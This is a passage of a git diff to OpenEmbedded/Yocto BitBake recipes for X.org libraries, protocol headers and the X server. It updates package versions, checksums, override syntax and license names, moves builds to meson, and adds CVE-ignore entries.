+EXTRA_OEMESON:append:class-target:powerpc64 = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "-Dvmx=enabled", "-Dvmx=disabled", d)}"
+EXTRA_OEMESON:append:class-target:powerpc64le = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "-Dvmx=enabled", "-Dvmx=disabled", d)}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util.inc b/meta/recipes-graphics/xorg-lib/xcb-util.inc
index 99d04f9d44..0e5ab70b2d 100644
--- a/meta/recipes-graphics/xorg-lib/xcb-util.inc
+++ b/meta/recipes-graphics/xorg-lib/xcb-util.inc
@@ -18,6 +18,6 @@ DEPENDS += "gperf-native"
SRC_URI = "http://xcb.freedesktop.org/dist/${BPN}-${PV}.tar.bz2"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.27.bb b/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.27.bb
deleted file mode 100644
index 02156ad75b..0000000000
--- a/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.27.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Keyboard configuration database for X Window"
-
-DESCRIPTION = "The non-arch keyboard configuration database for X \
-Window. The goal is to provide the consistent, well-structured, \
-frequently released open source of X keyboard configuration data for X \
-Window System implementations. The project is targeted to XKB-based \
-systems."
-
-HOMEPAGE = "http://freedesktop.org/wiki/Software/XKeyboardConfig"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xkeyboard-config"
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0e7f21ca7db975c63467d2e7624a12f9"
-
-SRC_URI = "${XORG_MIRROR}/individual/data/xkeyboard-config/${BPN}-${PV}.tar.bz2"
-SRC_URI[md5sum] = "316753e35d3906d042c74230612eab9f"
-SRC_URI[sha256sum] = "690daec8fea63526c07620c90e6f3f10aae34e94b6db6e30906173480721901f"
-
-SECTION = "x11/libs"
-DEPENDS = "util-macros libxslt-native"
-
-EXTRA_OECONF = "--with-xkb-rules-symlink=xorg --disable-runtime-deps"
-
-FILES_${PN} += "${datadir}/X11/xkb"
-
-inherit autotools pkgconfig gettext
-
-do_install_append () {
- install -d ${D}${datadir}/X11/xkb/compiled
- cd ${D}${datadir}/X11/xkb/rules && ln -sf base xorg
-}
diff --git a/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.35.1.bb b/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.35.1.bb
new file mode 100644
index 0000000000..5215131e3e
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.35.1.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Keyboard configuration database for X Window"
+
+DESCRIPTION = "The non-arch keyboard configuration database for X \
+Window. The goal is to provide the consistent, well-structured, \
+frequently released open source of X keyboard configuration data for X \
+Window System implementations. The project is targeted to XKB-based \
+systems."
+
+HOMEPAGE = "http://freedesktop.org/wiki/Software/XKeyboardConfig"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xkeyboard-config"
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0e7f21ca7db975c63467d2e7624a12f9"
+
+SRC_URI = "${XORG_MIRROR}/individual/data/xkeyboard-config/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "18ce50ff0c74ae6093062bce1aeab3d363913ea35162fe271f8a0ce399de85cc"
+
+SECTION = "x11/libs"
+DEPENDS = "util-macros libxslt-native"
+
+EXTRA_OECONF = "--with-xkb-rules-symlink=xorg --disable-runtime-deps"
+
+FILES:${PN} += "${datadir}/X11/xkb"
+
+inherit meson pkgconfig gettext python3native
+
+do_install:append () {
+ install -d ${D}${datadir}/X11/xkb/compiled
+ cd ${D}${datadir}/X11/xkb/rules && ln -sf base xorg
+}
diff --git a/meta/recipes-graphics/xorg-lib/xorg-lib-common.inc b/meta/recipes-graphics/xorg-lib/xorg-lib-common.inc
index 09df0109cb..60bc8c76fa 100644
--- a/meta/recipes-graphics/xorg-lib/xorg-lib-common.inc
+++ b/meta/recipes-graphics/xorg-lib/xorg-lib-common.inc
@@ -2,7 +2,7 @@ HOMEPAGE = "http://www.x.org"
BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
SECTION = "x11/libs"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
DEPENDS = "util-macros"
XORG_PN = "${BPN}"
@@ -11,14 +11,14 @@ SRC_URI = "${XORG_MIRROR}/individual/lib/${XORG_PN}-${PV}.tar.bz2"
S = "${WORKDIR}/${XORG_PN}-${PV}"
-inherit autotools distro_features_check pkgconfig
+inherit autotools features_check pkgconfig
EXTRA_OECONF = "--disable-specs --without-groff --without-ps2pdf --without-fop"
PACKAGECONFIG ??= ""
PACKAGECONFIG[xmlto] = "--with-xmlto, --without-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-UNKNOWN_CONFIGURE_WHITELIST += "--enable-malloc0returnsnull --disable-malloc0returnsnull \
+UNKNOWN_CONFIGURE_OPT_IGNORE += "--enable-malloc0returnsnull --disable-malloc0returnsnull \
--disable-specs --without-groff --without-ps2pdf --without-fop \
--without-xmlto --with-xmlto \
"
diff --git a/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb b/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb
index 5bf134b5f8..08773c8ccc 100644
--- a/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb
+++ b/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb
@@ -9,14 +9,14 @@ except in the X Transport Interface code."
require xorg-lib-common.inc
-LICENSE = "MIT & MIT-style"
+LICENSE = "MIT & MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=49347921d4d5268021a999f250edc9ca"
SRC_URI += "file://multilibfix.patch"
PE = "1"
-RDEPENDS_${PN}-dev = ""
+RDEPENDS:${PN}-dev = ""
inherit gettext
diff --git a/meta/recipes-graphics/xorg-proto/xcb-proto_1.13.bb b/meta/recipes-graphics/xorg-proto/xcb-proto_1.13.bb
deleted file mode 100644
index 7467090920..0000000000
--- a/meta/recipes-graphics/xorg-proto/xcb-proto_1.13.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "XCB: The X protocol C binding headers"
-DESCRIPTION = "Function prototypes for the X protocol C-language Binding \
-(XCB). XCB is a replacement for Xlib featuring a small footprint, \
-latency hiding, direct access to the protocol, improved threading \
-support, and extensibility."
-HOMEPAGE = "http://xcb.freedesktop.org"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=XCB"
-
-SECTION = "x11/libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d763b081cb10c223435b01e00dc0aba7 \
- file://src/dri2.xml;beginline=2;endline=28;md5=f8763b13ff432e8597e0d610cf598e65"
-
-SRC_URI = "http://xcb.freedesktop.org/dist/${BP}.tar.bz2"
-SRC_URI[md5sum] = "abe9aa4886138150bbc04ae4f29b90e3"
-SRC_URI[sha256sum] = "7b98721e669be80284e9bbfeab02d2d0d54cd11172b72271e47a2fe875e2bde1"
-
-inherit autotools pkgconfig python3native
-
-PACKAGES += "python-xcbgen"
-
-FILES_${PN} = ""
-FILES_${PN}-dev += "${datadir}/xcb/*.xml ${datadir}/xcb/*.xsd"
-FILES_python-xcbgen = "${PYTHON_SITEPACKAGES_DIR}"
-
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.1.bb b/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.1.bb
new file mode 100644
index 0000000000..e530a055ab
--- /dev/null
+++ b/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.1.bb
@@ -0,0 +1,28 @@
+SUMMARY = "XCB: The X protocol C binding headers"
+DESCRIPTION = "Function prototypes for the X protocol C-language Binding \
+(XCB). XCB is a replacement for Xlib featuring a small footprint, \
+latency hiding, direct access to the protocol, improved threading \
+support, and extensibility."
+HOMEPAGE = "http://xcb.freedesktop.org"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=XCB"
+
+SECTION = "x11/libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d763b081cb10c223435b01e00dc0aba7 \
+ file://src/dri2.xml;beginline=2;endline=28;md5=f8763b13ff432e8597e0d610cf598e65"
+
+SRC_URI = "https://xorg.freedesktop.org/archive/individual/proto/${BP}.tar.xz"
+SRC_URI[sha256sum] = "f04add9a972ac334ea11d9d7eb4fc7f8883835da3e4859c9afa971efdf57fcc3"
+
+inherit autotools pkgconfig python3native
+
+PACKAGES += "python-xcbgen"
+
+FILES:${PN} = ""
+FILES:${PN}-dev += "${datadir}/xcb/*.xml ${datadir}/xcb/*.xsd"
+FILES:python-xcbgen = "${PYTHON_SITEPACKAGES_DIR}"
+
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-proto/xorg-proto-common.inc b/meta/recipes-graphics/xorg-proto/xorg-proto-common.inc
deleted file mode 100644
index 7a417c9742..0000000000
--- a/meta/recipes-graphics/xorg-proto/xorg-proto-common.inc
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "X protocol headers: ${XORG_PN}"
-HOMEPAGE = "http://www.x.org"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
-
-SECTION = "x11/libs"
-LICENSE = "MIT-X"
-
-XORG_PN = "${BPN}"
-
-SRC_URI = "${XORG_MIRROR}/individual/proto/${XORG_PN}-${PV}.tar.bz2"
-
-S = "${WORKDIR}/${XORG_PN}-${PV}"
-
-DEPENDS = "util-macros"
-
-inherit autotools pkgconfig
-EXTRA_OECONF = "--without-fop"
-
-UNKNOWN_CONFIGURE_WHITELIST += "--without-fop --without-xmlto --with-xmlto"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[xmlto] = "--with-xmlto, --without-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-
-# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
diff --git a/meta/recipes-graphics/xorg-proto/xorgproto_2019.2.bb b/meta/recipes-graphics/xorg-proto/xorgproto_2019.2.bb
deleted file mode 100644
index 8acbe895aa..0000000000
--- a/meta/recipes-graphics/xorg-proto/xorgproto_2019.2.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require xorg-proto-common.inc
-
-SUMMARY = "X Window System unified protocol definitions"
-
-DESCRIPTION = "This package provides the headers and specification documents defining \
-the core protocol and (many) extensions for the X Window System"
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING-x11proto;md5=b9e051107d5628966739a0b2e9b32676"
-
-SRC_URI[md5sum] = "a02dcaff48b4141b949ac99dfc344d86"
-SRC_URI[sha256sum] = "46ecd0156c561d41e8aa87ce79340910cdf38373b759e737fcbba5df508e7b8e"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-proto/xorgproto_2021.5.bb b/meta/recipes-graphics/xorg-proto/xorgproto_2021.5.bb
new file mode 100644
index 0000000000..8f1ed36291
--- /dev/null
+++ b/meta/recipes-graphics/xorg-proto/xorgproto_2021.5.bb
@@ -0,0 +1,25 @@
+SUMMARY = "X Window System unified protocol definitions"
+DESCRIPTION = "This package provides the headers and specification documents defining \
+the core protocol and (many) extensions for the X Window System"
+HOMEPAGE = "http://www.x.org"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
+
+SECTION = "x11/libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING-x11proto;md5=dfc4bd2b0568b31725b85b0604e69b56"
+
+SRC_URI = "${XORG_MIRROR}/individual/proto/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "aa2f663b8dbd632960b24f7477aa07d901210057f6ab1a1db5158732569ca015"
+
+inherit meson
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[legacy] = "-Dlegacy=true,-Dlegacy=false"
+
+# Datadir only used to install pc files, $datadir/pkgconfig
+datadir="${libdir}"
+# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb b/meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb
deleted file mode 100644
index 268059935c..0000000000
--- a/meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "X autotools macros"
-
-DESCRIPTION = "M4 autotools macros used by various X.org programs."
-
-require xorg-util-common.inc
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1970511fddd439b07a6ba789d28ff662"
-
-PE = "1"
-
-SRC_URI[md5sum] = "5059b328fac086b733ffac6607164c41"
-SRC_URI[sha256sum] = "9225c45c3de60faf971979a55a5536f3562baa4b6f02246c23e98ac0c09a75b7"
-
-# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-util/util-macros_1.19.3.bb b/meta/recipes-graphics/xorg-util/util-macros_1.19.3.bb
new file mode 100644
index 0000000000..0164256eb4
--- /dev/null
+++ b/meta/recipes-graphics/xorg-util/util-macros_1.19.3.bb
@@ -0,0 +1,19 @@
+SUMMARY = "X autotools macros"
+
+DESCRIPTION = "M4 autotools macros used by various X.org programs."
+
+require xorg-util-common.inc
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1970511fddd439b07a6ba789d28ff662"
+
+PE = "1"
+
+SRC_URI[md5sum] = "66cb74d4a0120a06e32c3b01c29417d8"
+SRC_URI[sha256sum] = "624bb6c3a4613d18114a7e3849a3d70f2d7af9dc6eabeaba98060d87e3aef35b"
+
+# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
+RDEPENDS:${PN}-dev = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-util/xorg-util-common.inc b/meta/recipes-graphics/xorg-util/xorg-util-common.inc
index 18d022c49f..a4c85a4ebc 100644
--- a/meta/recipes-graphics/xorg-util/xorg-util-common.inc
+++ b/meta/recipes-graphics/xorg-util/xorg-util-common.inc
@@ -2,7 +2,7 @@ HOMEPAGE = "http://www.x.org"
BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
SECTION = "x11/utils"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
XORG_PN = "${BPN}"
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemumips/xorg.conf b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemumips/xorg.conf
deleted file mode 100644
index 1d3c64f620..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemumips/xorg.conf
+++ /dev/null
@@ -1,39 +0,0 @@
-
-Section "Files"
-EndSection
-
-Section "Device"
- Identifier "Graphics Controller"
- Driver "fbdev"
-EndSection
-
-Section "Monitor"
- Identifier "Generic Monitor"
- Option "DPMS"
- # 1024x600 59.85 Hz (CVT) hsync: 37.35 kHz; pclk: 49.00 MHz
- Modeline "1024x600_60.00" 49.00 1024 1072 1168 1312 600 603 613 624 -hsync +vsync
- # 640x480 @ 60Hz (Industry standard) hsync: 31.5kHz
- ModeLine "640x480" 25.2 640 656 752 800 480 490 492 525 -hsync -vsync
- # 640x480 @ 72Hz (VESA) hsync: 37.9kHz
- ModeLine "640x480" 31.5 640 664 704 832 480 489 491 520 -hsync -vsync
- # 640x480 @ 75Hz (VESA) hsync: 37.5kHz
- ModeLine "640x480" 31.5 640 656 720 840 480 481 484 500 -hsync -vsync
- # 640x480 @ 85Hz (VESA) hsync: 43.3kHz
- ModeLine "640x480" 36.0 640 696 752 832 480 481 484 509 -hsync -vsync
-EndSection
-
-Section "Screen"
- Identifier "Default Screen"
- Device "Graphics Controller"
- Monitor "Generic Monitor"
- DefaultDepth 16
- SubSection "Display"
- Modes "640x480"
- EndSubSection
-EndSection
-
-Section "ServerLayout"
- Identifier "Default Layout"
- Screen "Default Screen"
- Option "AllowEmptyInput" "no"
-EndSection
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemumips64/xorg.conf b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemumips64/xorg.conf
deleted file mode 100644
index 03b94dc3af..0000000000
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemumips64/xorg.conf
+++ /dev/null
@@ -1,39 +0,0 @@
-
-Section "Files"
-EndSection
-
-Section "Device"
- Identifier "Graphics Controller"
- Driver "fbdev"
-EndSection
-
-Section "Monitor"
- Identifier "Generic Monitor"
- Option "DPMS"
- # 1024x600 59.85 Hz (CVT) hsync: 37.35 kHz; pclk: 49.00 MHz
- Modeline "1024x600_60.00" 49.00 1024 1072 1168 1312 600 603 613 624 -hsync +vsync
- # 640x480 @ 60Hz (Industry standard) hsync: 31.5kHz
- ModeLine "640x480" 25.2 640 656 752 800 480 490 492 525 -hsync -vsync
- # 640x480 @ 72Hz (VESA) hsync: 37.9kHz
- ModeLine "640x480" 31.5 640 664 704 832 480 489 491 520 -hsync -vsync
- # 640x480 @ 75Hz (VESA) hsync: 37.5kHz
- ModeLine "640x480" 31.5 640 656 720 840 480 481 484 500 -hsync -vsync
- # 640x480 @ 85Hz (VESA) hsync: 43.3kHz
- ModeLine "640x480" 36.0 640 696 752 832 480 481 484 509 -hsync -vsync
-EndSection
-
-Section "Screen"
- Identifier "Default Screen"
- Device "Graphics Controller"
- Monitor "Generic Monitor"
- DefaultDepth 16
- SubSection "Display"
- Modes "640x480"
- EndSubSection
-EndSection
-
-Section "ServerLayout"
- Identifier "Default Layout"
- Screen "Default Screen"
- Option "AllowEmptyInput" "no"
-EndSection
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb
index 5420b7d23e..f82a6960e6 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb
@@ -1,7 +1,7 @@
SUMMARY = "X.Org X server configuration file"
HOMEPAGE = "http://www.x.org"
SECTION = "x11/base"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
PR = "r33"
@@ -9,10 +9,10 @@ SRC_URI = "file://xorg.conf"
S = "${WORKDIR}"
-CONFFILES_${PN} = "${sysconfdir}/X11/xorg.conf"
+CONFFILES:${PN} = "${sysconfdir}/X11/xorg.conf"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
do_install () {
if test -s ${WORKDIR}/xorg.conf; then
diff --git a/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc b/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc
index 44315f59dc..057a1ba6ad 100644
--- a/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc
+++ b/meta/recipes-graphics/xorg-xserver/xserver-xorg.inc
@@ -1,7 +1,7 @@
SUMMARY = "The X.Org X server"
HOMEPAGE = "http://www.x.org"
SECTION = "x11/base"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=5df87950af51ac2c5822094553ea1880"
# xf86-*-* packages depend on an X server built with the xfree86 DDX
@@ -13,21 +13,30 @@ PROVIDES = "virtual/xserver-xf86"
PROVIDES += "virtual/xserver"
PE = "2"
-INC_PR = "r8"
XORG_PN = "xorg-server"
-SRC_URI = "${XORG_MIRROR}/individual/xserver/${XORG_PN}-${PV}.tar.bz2"
+SRC_URI = "${XORG_MIRROR}/individual/xserver/${XORG_PN}-${PV}.tar.xz"
-CVE_PRODUCT = "xorg-server"
+UPSTREAM_CHECK_REGEX = "xorg-server-(?P<pver>\d+(\.(?!99)\d+)+)\.tar"
+
+CVE_PRODUCT = "xorg-server x_server"
+# This is specific to Debian's xserver-wrapper.c
+CVE_CHECK_IGNORE += "CVE-2011-4613"
+# As per upstream, exploiting this flaw is non-trivial and it requires exact
+# timing on the behalf of the attacker. Many graphical applications exit if their
+# connection to the X server is lost, so a typical desktop session is either
+# impossible or difficult to exploit. There is currently no upstream patch
+# available for this flaw.
+CVE_CHECK_IGNORE += "CVE-2020-25697"
S = "${WORKDIR}/${XORG_PN}-${PV}"
-inherit autotools pkgconfig
+inherit meson pkgconfig
-inherit distro_features_check
+inherit features_check
REQUIRED_DISTRO_FEATURES = "x11"
-LIB_DEPS = "pixman libxfont2 xtrans libxau libxext libxdmcp libdrm libxkbfile libpciaccess"
+LIB_DEPS = "pixman libxfont2 xtrans libxau libxext libxdmcp libdrm libxkbfile libpciaccess libxcvt libtirpc"
DEPENDS = "xorgproto ${LIB_DEPS} font-util"
# Split out some modules and extensions from the main package
@@ -68,94 +77,80 @@ PACKAGES =+ "${PN}-sdl \
${PN}-module-libxf4bpp \
xf86-video-modesetting"
-SUMMARY_xf86-video-modesetting = "X.Org X server -- modesetting display driver"
-INSANE_SKIP_${MLPREFIX}xf86-video-modesetting = "xorg-driver-abi"
+SUMMARY:xf86-video-modesetting = "X.Org X server -- modesetting display driver"
+INSANE_SKIP:${MLPREFIX}xf86-video-modesetting = "xorg-driver-abi"
XSERVER_RRECOMMENDS = "xkeyboard-config rgb xserver-xf86-config xkbcomp xf86-input-libinput"
-RRECOMMENDS_${PN} += "${XSERVER_RRECOMMENDS}"
-RRECOMMENDS_${PN}-xwayland += "${XSERVER_RRECOMMENDS}"
-RDEPENDS_${PN}-xvfb += "xkeyboard-config"
-RDEPENDS_${PN}-module-exa = "${PN} (= ${EXTENDPKGV})"
-
-FILES_${PN} = "${bindir} ${libdir}/X11/Options ${libdir}/X11/Cards ${libdir}/X11/getconfig ${libdir}/X11/etc ${libdir}/modules/*.so ${libdir}/xorg/modules/*.so /etc/X11 ${libdir}/xorg/protocol.txt ${datadir}/X11/xorg.conf.d"
-FILES_${PN}-dev += "${libdir}/xorg/modules/*.la ${libdir}/xorg/modules/*/*.la"
-FILES_${PN}-doc += "${libdir}/X11/doc ${datadir}/X11/xkb/compiled/README.compiled ${localstatedir}/lib/xkb/README.compiled"
-FILES_${PN}-sdl = "${bindir}/Xsdl"
-FILES_${PN}-fbdev = "${bindir}/Xfbdev"
-FILES_${PN}-xvfb = "${bindir}/Xvfb"
-FILES_${PN}-utils = "${bindir}/scanpci ${bindir}/pcitweak ${bindir}/ioport ${bindir}/in[bwl] ${bindir}/out[bwl] ${bindir}/mmap[rw] ${bindir}/gtf ${bindir}/getconfig ${bindir}/getconfig.pl"
-FILES_${PN}-xephyr = "${bindir}/Xephyr"
-FILES_${PN}-xwayland = "${bindir}/Xwayland"
-FILES_${PN}-multimedia-modules = "${libdir}/xorg/modules/multimedia/*drv*"
-FILES_${PN}-extension-dri = "${libdir}/xorg/modules/extensions/libdri.so"
-FILES_${PN}-extension-dri2 = "${libdir}/xorg/modules/extensions/libdri2.so"
-FILES_${PN}-extension-glx = "${libdir}/xorg/modules/extensions/libglx.so"
-FILES_${PN}-extension-record = "${libdir}/xorg/modules/extensions/librecord.so"
-FILES_${PN}-extension-extmod = "${libdir}/xorg/modules/extensions/libextmod.so"
-FILES_${PN}-extension-dbe = "${libdir}/xorg/modules/extensions/libdbe.so"
-FILES_${PN}-module-libint10 = "${libdir}/xorg/modules/libint10.so"
-FILES_${PN}-module-libafb = "${libdir}/xorg/modules/libafb.so"
-FILES_${PN}-module-libwfb = "${libdir}/xorg/modules/libwfb.so"
-FILES_${PN}-module-libmfb = "${libdir}/xorg/modules/libmfb.so"
-FILES_${PN}-module-libcfb = "${libdir}/xorg/modules/libcfb.so"
-FILES_${PN}-module-exa = "${libdir}/xorg/modules/libexa.so"
-FILES_${PN}-module-xaa = "${libdir}/xorg/modules/libxaa.so"
-FILES_${PN}-module-libxf1bpp = "${libdir}/xorg/modules/libxf1bpp.so"
-FILES_${PN}-module-libxf4bpp = "${libdir}/xorg/modules/libxf4bpp.so"
-FILES_xf86-video-modesetting = "${libdir}/xorg/modules/drivers/modesetting_drv.so"
-
-EXTRA_OECONF += "--with-fop=no \
- --with-pic \
- --disable-static \
- --disable-record \
- --disable-dmx \
- --disable-xnest \
- --enable-xvfb \
- --enable-composite \
- --without-dtrace \
- --with-int10=x86emu \
- --sysconfdir=/etc/X11 \
- --localstatedir=/var \
- --with-xkb-output=/var/lib/xkb \
+RRECOMMENDS:${PN} += "${XSERVER_RRECOMMENDS}"
+RRECOMMENDS:${PN}-xwayland += "${XSERVER_RRECOMMENDS}"
+RDEPENDS:${PN}-xvfb += "xkeyboard-config"
+RDEPENDS:${PN}-module-exa = "${PN} (= ${EXTENDPKGV})"
+
+FILES:${PN} = "${bindir} ${libdir}/X11/Options ${libdir}/X11/Cards ${libdir}/X11/getconfig ${libdir}/X11/etc ${libdir}/modules/*.so ${libdir}/xorg/modules/input/*.so ${libdir}/xorg/modules/*.so /etc/X11 ${libdir}/xorg/protocol.txt ${datadir}/X11/xorg.conf.d"
+FILES:${PN}-dev += "${libdir}/xorg/modules/*.la ${libdir}/xorg/modules/*/*.la"
+FILES:${PN}-doc += "${libdir}/X11/doc ${datadir}/X11/xkb/compiled/README.compiled ${localstatedir}/lib/xkb/README.compiled"
+FILES:${PN}-sdl = "${bindir}/Xsdl"
+FILES:${PN}-fbdev = "${bindir}/Xfbdev"
+FILES:${PN}-xvfb = "${bindir}/Xvfb"
+FILES:${PN}-utils = "${bindir}/scanpci ${bindir}/pcitweak ${bindir}/ioport ${bindir}/in[bwl] ${bindir}/out[bwl] ${bindir}/mmap[rw] ${bindir}/gtf ${bindir}/getconfig ${bindir}/getconfig.pl"
+FILES:${PN}-xephyr = "${bindir}/Xephyr"
+FILES:${PN}-xwayland = "${bindir}/Xwayland"
+FILES:${PN}-multimedia-modules = "${libdir}/xorg/modules/multimedia/*drv*"
+FILES:${PN}-extension-dri = "${libdir}/xorg/modules/extensions/libdri.so"
+FILES:${PN}-extension-dri2 = "${libdir}/xorg/modules/extensions/libdri2.so"
+FILES:${PN}-extension-glx = "${libdir}/xorg/modules/extensions/libglx.so"
+FILES:${PN}-extension-record = "${libdir}/xorg/modules/extensions/librecord.so"
+FILES:${PN}-extension-extmod = "${libdir}/xorg/modules/extensions/libextmod.so"
+FILES:${PN}-extension-dbe = "${libdir}/xorg/modules/extensions/libdbe.so"
+FILES:${PN}-module-libint10 = "${libdir}/xorg/modules/libint10.so"
+FILES:${PN}-module-libafb = "${libdir}/xorg/modules/libafb.so"
+FILES:${PN}-module-libwfb = "${libdir}/xorg/modules/libwfb.so"
+FILES:${PN}-module-libmfb = "${libdir}/xorg/modules/libmfb.so"
+FILES:${PN}-module-libcfb = "${libdir}/xorg/modules/libcfb.so"
+FILES:${PN}-module-exa = "${libdir}/xorg/modules/libexa.so"
+FILES:${PN}-module-xaa = "${libdir}/xorg/modules/libxaa.so"
+FILES:${PN}-module-libxf1bpp = "${libdir}/xorg/modules/libxf1bpp.so"
+FILES:${PN}-module-libxf4bpp = "${libdir}/xorg/modules/libxf4bpp.so"
+FILES:xf86-video-modesetting = "${libdir}/xorg/modules/drivers/modesetting_drv.so"
+
+EXTRA_OEMESON += " \
+ -Dxnest=false \
+ -Dxvfb=true \
+ -Ddtrace=false \
+ -Dint10=x86emu \
+ -Dxkb_output_dir=/var/lib/xkb \
"
-OPENGL_PKGCONFIGS = "dri glx glamor dri3 xshmfence"
+OPENGL_PKGCONFIGS = "dri glx glamor dri3"
PACKAGECONFIG ??= "dga dri2 udev ${XORG_CRYPTO} \
${@bb.utils.contains('DISTRO_FEATURES', 'opengl', '${OPENGL_PKGCONFIGS}', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl wayland', 'xwayland', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd systemd-logind', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd-logind', '', d)} \
"
-PACKAGECONFIG[udev] = "--enable-config-udev,--disable-config-udev,udev"
-PACKAGECONFIG[dga] = "--enable-dga,--disable-dga"
-PACKAGECONFIG[dri] = "--enable-dri,--disable-dri,virtual/mesa"
-PACKAGECONFIG[dri2] = "--enable-dri2,--disable-dri2"
-# DRI3 requires xshmfence to also be enabled
-PACKAGECONFIG[dri3] = "--enable-dri3,--disable-dri3"
